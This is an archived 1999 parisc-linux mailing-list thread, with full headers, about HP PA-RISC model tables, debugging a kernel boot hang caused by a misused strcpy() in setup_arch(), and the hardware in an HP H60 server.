References: <199906300013.RAA31617@bart.allegro.com> <3779683B.E5447116@thepuffingroup.com> <008f01bec2bc$a91023c0$e38f4b0f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619675 12380 80.91.229.3 (22 Nov 2014 01:27:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:55 +0000 (UTC)
To: Rich Rauenzahn <rrauenza@cup.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Wed Jun 30 00:27:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA17490
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 00:27:08 -0600
Original-Received: (qmail 13900 invoked by uid 15267); 30 Jun 1999 06:27:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13893 invoked from network); 30 Jun 1999 06:27:24 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 06:27:24 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA08076;
	Wed, 30 Jun 1999 02:34:58 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9652

Rich Rauenzahn wrote:
> 
> Take a look at  /usr/lib/sched.models on HP-UX -- it documents quite a few
> models and PA-RISC versions.
> 

Oh, that's pretty interesting.  I found sched.modules in
/usr/sam/lib/mo.

What's the second column?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard "J." Rauenzahn <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Tue, 29 Jun 1999 23:55:43 -0700 (PDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <199906300655.XAA15623@hairball.cup.hp.com>
References: <3779BA91.96869AC9@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619675 12382 80.91.229.3 (22 Nov 2014 01:27:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:55 +0000 (UTC)
Cc: rrauenza@cup.hp.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com
Original-X-From: rrauenza@cup.hp.com  Wed Jun 30 00:55:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA17707
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 00:55:38 -0600
Original-Received: (qmail 17278 invoked by uid 15267); 30 Jun 1999 06:55:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17268 invoked from network); 30 Jun 1999 06:55:55 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 06:55:55 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id XAA17752;
	Tue, 29 Jun 1999 23:55:45 -0700 (PDT)
Original-Received: (from rrauenza@localhost) by hairball.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id XAA15623; Tue, 29 Jun 1999 23:55:44 -0700 (PDT)
In-Reply-To: <3779BA91.96869AC9@thepuffingroup.com> from Alex deVries at Jun "30," 1999 "02:34:57" am
X-Mailer: ELM [$Revision: 1.16.213.5 $]
Xref: news.gmane.org gmane.linux.ports.parisc:9653


Apparently it exists in quite a few places!

The second column is the PA-RISC version number.  I'm not sure how
significant the letters are in the version numbers.

> Rich Rauenzahn wrote:
> > 
> > Take a look at  /usr/lib/sched.models on HP-UX -- it documents quite a few
> > models and PA-RISC versions.
> > 
> 
> Oh, that's pretty interesting.  I found sched.modules in
> /usr/sam/lib/mo.
> 
> What's the second column?
> 
> - Alex


From - Thu Nov 08 21:15:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33]
Date: Wed, 30 Jun 1999 09:49:12 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <19990630094912.T30362@mencheca.ch.genedata.com>
References: <3779816D.CF8B8F02@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619676 12384 80.91.229.3 (22 Nov 2014 01:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Jun 30 01:49:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA17956
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 01:49:03 -0600
Original-Received: (qmail 22781 invoked by uid 15267); 30 Jun 1999 07:49:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22771 invoked from network); 30 Jun 1999 07:49:19 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 07:49:19 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id JAA05344;
	Wed, 30 Jun 1999 09:49:13 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id JAA2915070;
	Wed, 30 Jun 1999 09:49:12 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10zF7I-00029qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for adevries@thepuffingroup.com; Wed, 30 Jun 1999 09:49:12 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <3779816D.CF8B8F02@thepuffingroup.com>; from Alex deVries on Tue, Jun 29, 1999 at 10:31:09PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9654

On Tue, Jun 29, 1999 at 10:31:09PM -0400, Alex deVries wrote:
> 
> Matthew Wilcox wrote:
> 
> > Linux version 2.2.1 (willy@bmw) (gcc version egcs-2.91.60 19981201 (egcs-1.1.1
> > release)) #18
> >  Wed Jun 30 05:46:53 METDST 1999
> > 
> > at which point it hangs and I have to reset.  Excellent work.
> 
> Well, not a bad start, but what worries me is that this boot sequence
> should really go on a bit more.  I'm not quite sure where the problem
> is, it might be with some PDC calls we do within setup_arch().

It fails before it gets that far (what a joy it is to have a working
printk..):

in arch/parisc/kernel/setup.c
__initfunc(void setup_arch(char **cmdline_p,
        unsigned long * memory_start_p, unsigned long * memory_end_p))
{
        char cpuinfo_text[2000];
printk("setup_arch(%p, %p, %p)\n", cmdline_p, memory_start_p, memory_end_p);
printk("-3\n");
printk("%p\n", *cmdline_p);
printk("%s\n", *cmdline_p);
        strcpy(*cmdline_p,saved_command_line);  // copy the command-line
printk("-2\n");

I get the following printout:

setup_arch(000a0860, 000767e0, 000767e4)
-3
f000013c
 zC

and there it hangs.

> I'll upload a binary of the kernel that I know works on my A class.  I'd
> appreciate it if people could email tests of this on different machines.

When you put it up, I'll happily test it; maybe my kernel is larger than
yours and is causing something to be overwritten?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33]
Date: Wed, 30 Jun 1999 11:41:05 +0100 (BST)
Lines: 16
Approved: news@gmane.org
Message-ID: <E10zHne-0007RN-00@the-village.bc.nu>
References: <19990630094912.T30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619676 12386 80.91.229.3 (22 Nov 2014 01:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:56 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Jun 30 04:44:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA18591
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 04:44:14 -0600
Original-Received: (qmail 4494 invoked by uid 15267); 30 Jun 1999 10:44:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4481 invoked from network); 30 Jun 1999 10:44:27 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 10:44:27 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10zHne-0007RN-00; Wed, 30 Jun 1999 11:41:06 +0100
In-Reply-To: <19990630094912.T30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 30, 99 09:49:12 am
Xref: news.gmane.org gmane.linux.ports.parisc:9655

> printk("-3\n");
> printk("%p\n", *cmdline_p);
> printk("%s\n", *cmdline_p);
>         strcpy(*cmdline_p,saved_command_line);  // copy the command-line
> printk("-2\n");
> 
> I get the following printout:
> 
> setup_arch(000a0860, 000767e0, 000767e4)
> -3
> f000013c
>  zC

f000013c is in I/O space. Is the command line really meant to point into
I/O space..


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33]
Date: Wed, 30 Jun 1999 17:14:49 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <19990630171449.V30362@mencheca.ch.genedata.com>
References: <E10zHne-0007RN-00@the-village.bc.nu> <377A21E9.C22A6F25@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619676 12389 80.91.229.3 (22 Nov 2014 01:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:56 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
        Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Jun 30 09:14:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA19450
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 09:14:43 -0600
Original-Received: (qmail 11362 invoked by uid 15267); 30 Jun 1999 15:14:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11351 invoked from network); 30 Jun 1999 15:14:57 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 15:14:57 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA06647;
	Wed, 30 Jun 1999 17:14:50 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA3070191;
	Wed, 30 Jun 1999 17:14:50 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10zM4X-00029qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Wed, 30 Jun 1999 17:14:49 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <377A21E9.C22A6F25@gmx.de>; from Helge Deller on Wed, Jun 30, 1999 at 03:55:53PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9656

On Wed, Jun 30, 1999 at 03:55:53PM +0200, Helge Deller wrote:
> Alan Cox wrote:
> 
> > > printk("-3\n");
> > > printk("%p\n", *cmdline_p);
> > > printk("%s\n", *cmdline_p);
> > >         strcpy(*cmdline_p,saved_command_line);  // copy the command-line
> > > printk("-2\n");
> > >
> > > I get the following printout:
> > >
> > > setup_arch(000a0860, 000767e0, 000767e4)
> > > -3
> > > f000013c
> > >  zC
> >
> > f000013c is in I/O space. Is the command line really meant to point into
> > I/O space..
> 
> It was completely wrong to use strcpy() !
> Sorry, my fault !!!!!
> It is now corrected in CVS.

So it is.  Thank you very much.

Has the price of beef gone up?
[if you've not booted the kernel, there's no way you'll understand this :-)]

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33]
Date: Wed, 30 Jun 1999 17:40:05 +0200
Lines: 4
Approved: news@gmane.org
Message-ID: <19990630174005.A15174@suse.de>
References: <E10zHne-0007RN-00@the-village.bc.nu> <377A21E9.C22A6F25@gmx.de> <19990630171449.V30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619676 12392 80.91.229.3 (22 Nov 2014 01:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Alan Cox <alan@lxorguk.ukuu.org.uk>,
        adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@suse.de  Wed Jun 30 09:40:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA19689
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 09:40:01 -0600
Original-Received: (qmail 17067 invoked by uid 15267); 30 Jun 1999 15:40:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17057 invoked from network); 30 Jun 1999 15:40:16 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 15:40:16 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id D0BAA32CEF; Wed, 30 Jun 1999 17:40:06 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 7C1669410; Wed, 30 Jun 1999 17:40:06 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id B88207F8B; Wed, 30 Jun 1999 17:40:05 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990630171449.V30362@mencheca.ch.genedata.com>; from Matthew Wilcox on Wed, Jun 30, 1999 at 05:14:49PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9657

> Has the price of beef gone up?
> [if you've not booted the kernel, there's no way you'll understand this :-)]
you could, of course, read the source code as well ...


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davin Petersen <davinp@celltech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] H60
Date: Wed, 30 Jun 1999 08:54:34 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <BF0601275C6FD211B04900A0C9E9205241D104@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619677 12397 80.91.229.3 (22 Nov 2014 01:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: davinp@celltech.com  Wed Jun 30 09:58:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA19924
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 09:58:28 -0600
Original-Received: (qmail 21029 invoked by uid 15267); 30 Jun 1999 15:58:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21017 invoked from network); 30 Jun 1999 15:58:45 -0000
Original-Received: from athena.celltech.com (HELO athena.hq.celltech.com) (209.180.183.21)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 15:58:45 -0000
Original-Received: by athena.hq.celltech.com with Internet Mail Service (5.5.1960.3)
	id <NDTG6P27>; Wed, 30 Jun 1999 08:53:51 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Xref: news.gmane.org gmane.linux.ports.parisc:9658

Yep, my H60 is all HP-PB.  The series number on the back is an 827s, but
it had a back plane upgrade several years ago to a 887 (H60).  This
particular box has:

2	10Base-2 w/ AUI			28640-60001
1	FWD SCSI				28696-60001
1	SE SCSI/Parallel/MUX		A1703-60022
1	HP6000 Disk Array (RAID5)	C4230A
5	2G disks for the 6000		C2431A
2	1G internal disks
1	HP35480A	DDS tape
1	HP35470A	DDS tape		(one of these is DDS2,
the other is DDS3)
1	External CDROM (SE)		C2948A
1	700/92 Terminal (green, yech)	

-----Original Message-----
From: Mike Hibler [mailto:mike@fast.cs.utah.edu]
Sent: Tuesday, June 29, 1999 10:20 PM
To: adevries@thepuffingroup.com; sieler@allegro.com
Cc: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] H60


If the H seiries machines really have HP-PB, then it is going to take
some work.  The HP-PB that I am familiar with (from back in the hp832
days)
is a whole other bus architecture that isn't nearly as pleasent to work
with
as the at on the 700 series machines.

------------------------------------------------------------------------
---
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
with
`unsubscribe' as the subject.


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H60
Date: Wed, 30 Jun 1999 10:27:10 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199906301727.KAA27794@bart.allegro.com>
References: <BF0601275C6FD211B04900A0C9E9205241D104@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619677 12401 80.91.229.3 (22 Nov 2014 01:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: davinp@celltech.com (Davin Petersen)
Original-X-From: sieler@bart.allegro.com  Wed Jun 30 11:27:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA20237
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 11:27:08 -0600
Original-Received: (qmail 7272 invoked by uid 15267); 30 Jun 1999 17:27:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7265 invoked from network); 30 Jun 1999 17:27:25 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 17:27:25 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id KAA27794;
	Wed, 30 Jun 1999 10:27:11 -0700
In-Reply-To: <BF0601275C6FD211B04900A0C9E9205241D104@mailsrvr.hq.celltech.com> from "Davin Petersen" at Jun 30, 99 08:54:34 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9659

Re:

> Yep, my H60 is all HP-PB.  The series number on the back is an 827s, but
> it had a back plane upgrade several years ago to a 887 (H60).  This

Not that it matters much, but the 887 encompasses the G50/H50/I50 ...
all of which are 96 MHz machines with 512 KB cache, PA-7100 with the
PCX-T chipset).  The G60/H60/I60 appear to be slightly different (2 MB
cache, and the "PCX-T" doesn't seem to appear in HP literature). 
Still, the I/O is the same for the 887/G50/H50/I50/G60/H60/I60.

It would be interesting to see what "uname -i" reports on a "real" G60/H60/I60...
will it be 887 or ?

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davin Petersen <davinp@celltech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] H60
Date: Wed, 30 Jun 1999 10:26:00 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <BF0601275C6FD211B04900A0C9E9205241D107@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619677 12403 80.91.229.3 (22 Nov 2014 01:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: davinp@celltech.com  Wed Jun 30 11:29:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA20376
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 11:29:57 -0600
Original-Received: (qmail 7809 invoked by uid 15267); 30 Jun 1999 17:30:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7802 invoked from network); 30 Jun 1999 17:30:09 -0000
Original-Received: from athena.celltech.com (HELO athena.hq.celltech.com) (209.180.183.21)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 17:30:09 -0000
Original-Received: by athena.hq.celltech.com with Internet Mail Service (5.5.1960.3)
	id <NDTG6P3G>; Wed, 30 Jun 1999 10:25:16 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Xref: news.gmane.org gmane.linux.ports.parisc:9660

uname -i returns:
900807201

uname -a returns:
HP-UX max B.10.20 A 9000/887 900807201 two-user license

-----Original Message-----
From: Stan Sieler [mailto:sieler@allegro.com]
Sent: Wednesday, June 30, 1999 10:27 AM
To: davinp@celltech.com
Cc: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] H60


Re:

> Yep, my H60 is all HP-PB.  The series number on the back is an 827s,
but
> it had a back plane upgrade several years ago to a 887 (H60).  This

Not that it matters much, but the 887 encompasses the G50/H50/I50 ...
all of which are 96 MHz machines with 512 KB cache, PA-7100 with the
PCX-T chipset).  The G60/H60/I60 appear to be slightly different (2 MB
cache, and the "PCX-T" doesn't seem to appear in HP literature). 
Still, the I/O is the same for the 887/G50/H50/I50/G60/H60/I60.

It would be interesting to see what "uname -i" reports on a "real"
G60/H60/I60...
will it be 887 or ?

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] testmail4
Date: Wed, 30 Jun 1999 20:29:53 +0200
Lines: 2
Approved: news@gmane.org
Message-ID: <501_2289_930767393_1@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619678 12408 80.91.229.3 (22 Nov 2014 01:27:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Wed Jun 30 12:23:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA20824
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 12:23:56 -0600
Original-Received: (qmail 18069 invoked by uid 15267); 30 Jun 1999 18:24:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18059 invoked from network); 30 Jun 1999 18:24:09 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 18:24:09 -0000
Original-Received: (qmail 8091 invoked from network); 30 Jun 1999 18:24:03 -0000
Original-Received: from dialppp-5-66.rz.ruhr-uni-bochum.de (HELO P100.ruhr-uni-bochum.de) (root@134.147.5.66)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 30 Jun 1999 18:24:03 -0000
Original-Received: (from deller@localhost)
	by P100.ruhr-uni-bochum.de (8.8.8/8.8.8) id UAA02291;
	Wed, 30 Jun 1999 20:29:53 +0200
Content-ID: <501_2289_930767393_2@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:9661

test...


From - Thu Nov 08 21:15:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] H60
Date: Wed, 30 Jun 1999 14:38:23 PDT
Lines: 21
Approved: news@gmane.org
Message-ID: <199906302138.OAA20302@chrome.rose.hp.com>
References: <BF0601275C6FD211B04900A0C9E9205241D107@mailsrvr.hq.celltech.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619678 12409 80.91.229.3 (22 Nov 2014 01:27:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: davinp@celltech.com (Davin Petersen)
Original-X-From: kirkb@chrome.rose.hp.com  Wed Jun 30 15:37:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA22731
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Jun 1999 15:37:20 -0600
Original-Received: (qmail 27850 invoked by uid 15267); 30 Jun 1999 21:37:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27822 invoked from network); 30 Jun 1999 21:37:36 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 Jun 1999 21:37:36 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
